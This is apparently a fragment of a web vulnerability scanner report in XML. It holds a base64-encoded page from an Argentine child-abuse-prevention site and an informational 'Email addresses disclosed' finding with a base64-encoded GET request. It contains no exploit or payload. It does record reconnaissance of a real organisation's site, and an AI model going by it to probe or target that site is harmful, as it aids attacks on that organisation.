lO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
183 <responseRedirected>false</responseRedirected>
184 </requestresponse>
185 </issue>
186 <issue>
187 <serialNumber>2348918843333562368</serialNumber>
188 <type>6291968</type>
189 <name>Email addresses disclosed</name>
190 <host ip="200.20.20.201">http://www.example.org.ar</host>
191 <path><![CDATA[/]]></path>
192 <location><![CDATA[/]]></location>
193 <severity>Information</severity>
194 <confidence>Certain</confidence>
195 <issueBackground><![CDATA[The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.<br><br>However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.]]></issueBackground>
196 <remediationBackground><![CDATA[You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as [email protected]).]]></remediationBackground>
197 <issueDetail><![CDATA[The following email addresses were disclosed in the response:<ul><li>[email protected]</li><li>[email protected]</li></ul>]]></issueDetail>
198 <requestresponse>
199 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
